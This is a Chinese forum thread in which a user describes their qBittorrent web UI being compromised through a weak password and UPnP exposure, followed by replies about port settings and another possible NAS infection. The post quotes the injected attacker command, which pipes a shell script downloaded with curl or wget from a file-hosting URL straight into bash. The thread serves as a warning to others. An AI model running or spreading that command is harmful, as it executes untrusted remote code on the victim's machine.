qBittorrent web 端 弱密码 + 开启 UPNP 被挂恶意脚本
tinytoadd · 2023-12-04 22:48:35 +08:00 · 2103 次点击这是一个创建于 383 天前的主题，其中的信息可能已经有所发展或是发生改变。
今天回家，照常下载种子并导入到我的 qBittorrent ， 准备美滋滋地看会电视剧。
由于之前设置了种子完成后自动执行脚本，正常情况应该会自动创建一个到资料库目录的软链接，但今天种子下载好后脚本却没有照常执行。
检查之后吓了一跳，原本的自动执行程序被替换为以下脚本。
bash -c "(curl -s -L http://files.catbox.moe/o0gr8o.sh || wget --no-check-certificate -O - http://files.catbox.moe/o0gr8o.sh) | bash"
检查了一下，是我的 QB 默认开启了 upnp ，家里是公网 IP ，等于直接在公网 8085 端口裸奔了。
我用的群晖 DS220+和矿神的 qBittorrent 应用，暂时没有发现有损失。
提醒一下大家注意防范，贴一下这个脚本的内容。

吓的我立马把管理端 IP 设置为内网 IP🤣

按说 upnp 打的洞只是 bt 协议用的，qb 的 webui 管理端口不会打一个外网访问的洞的啊。
|

tinytoadd OP @Remember 我的这个版本默认给 webui 管理端口也放开了. 还好 qb 是单独的用户和用户组，索性没事

TrembleBeforeMe 2023-12-05 00:51:01 +08:00
 要在设置里面手动开启 webui 的 upnp 吧 |

jedihy 2023-12-05 07:33:42 +08:00
你的 qb 不是跑在 docker 里面的吗？
我的是跑在 docker 里，而且 webui 的 upnp 默认没开。 |

监听端口 6881 打开的，有必要端口转发吗？还是不转也能正常做种？

看楼主的这个感觉自己上个月可能也是中了类似玩意，我是 unraid ，nas 最近用的少就是 plex 听歌用用，存放下照片。
结果我 unraid 系统都登录不上，最终这缓存硬盘被不识别要我格式化再使用。直接换一张盘，这张缓存盘就先不用了。 |
